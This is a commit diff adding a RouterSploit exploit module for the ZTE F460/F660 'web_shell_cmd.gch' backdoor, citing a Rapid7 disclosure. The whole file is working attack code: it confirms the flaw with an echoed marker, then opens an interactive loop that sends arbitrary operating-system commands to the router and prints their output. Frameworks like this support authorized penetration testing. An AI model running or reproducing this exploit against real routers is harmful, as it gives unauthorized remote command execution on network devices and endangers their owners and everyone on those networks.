Adding ZTE F460/F660 Backdoor exploit.

routersploit/modules/exploits/zte/f460_f660_backdoor.py

+import re
+import string
+
+from routersploit import (
+    exploits,
+    http_request,
+    mute,
+    validators,
+    random_text,
+    print_error,
+    print_success,
+    print_status,
+    print_info
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for ZTE F460 and F660 Backdoor vulnerability.
+    If the target is vulnerable it allows to execute commands on operating system level.
+    """
+    __info__ = {
+        'name': 'ZTE F460 & F660 Backdoor RCE',
+        'description': 'Exploits ZTE F460 and F660 backdoor vulnerability that allows executing commands on operating system level.',
+        'authors': [
+            'Rapid7',  # vulnerabilty discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'https://community.rapid7.com/community/infosec/blog/2014/03/04/disclosure-r7-2013-18-zte-f460-and-zte-f660-webshellcmdgch-backdoor',
+        ],
+        'devices': [
+            'ZTE F460',
+            'ZTE F660',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(80, 'Target port')  # default port
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable")
+            print_status("Invoking command loop")
+            self.command_loop()
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def command_loop(self):
+        while 1:
+            cmd = raw_input("cmd > ")
+
+            if cmd in ['exit', 'quit']:
+                return
+
+            print_info(self.execute(cmd))
+ 
+
+    def execute(self, cmd):
+        url = "{}:{}/web_shell_cmd.gch".format(self.target, self.port)
+        headers = {u'Content-Type': u'multipart/form-data'}
+        data = {'IF_ACTION': 'apply',
+                'IF_ERRORSTR': 'SUCC',
+                'IF_ERRORPARAM': 'SUCC',
+                'IF_ERRORTYPE': '-1',
+                'Cmd': cmd,
+                'CmdAck': ''}
+
+        response = http_request(method="POST", url=url, headers=headers, data=data)
+        if response is None:
+            return ""
+
+        if response.status_code == 200:
+            regexp = '<textarea cols="" rows="" id="Frm_CmdAck" class="textarea_1">(.*?)</textarea>'
+            res = re.findall(regexp, response.text, re.DOTALL)
+
+            if len(res):
+                return res[0]
+
+        return ""
+
+    def check(self):
+        marker = random_text(32)
+        cmd = "echo {}".format(marker)
+
+        response = self.execute(cmd)
+        if marker in response:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable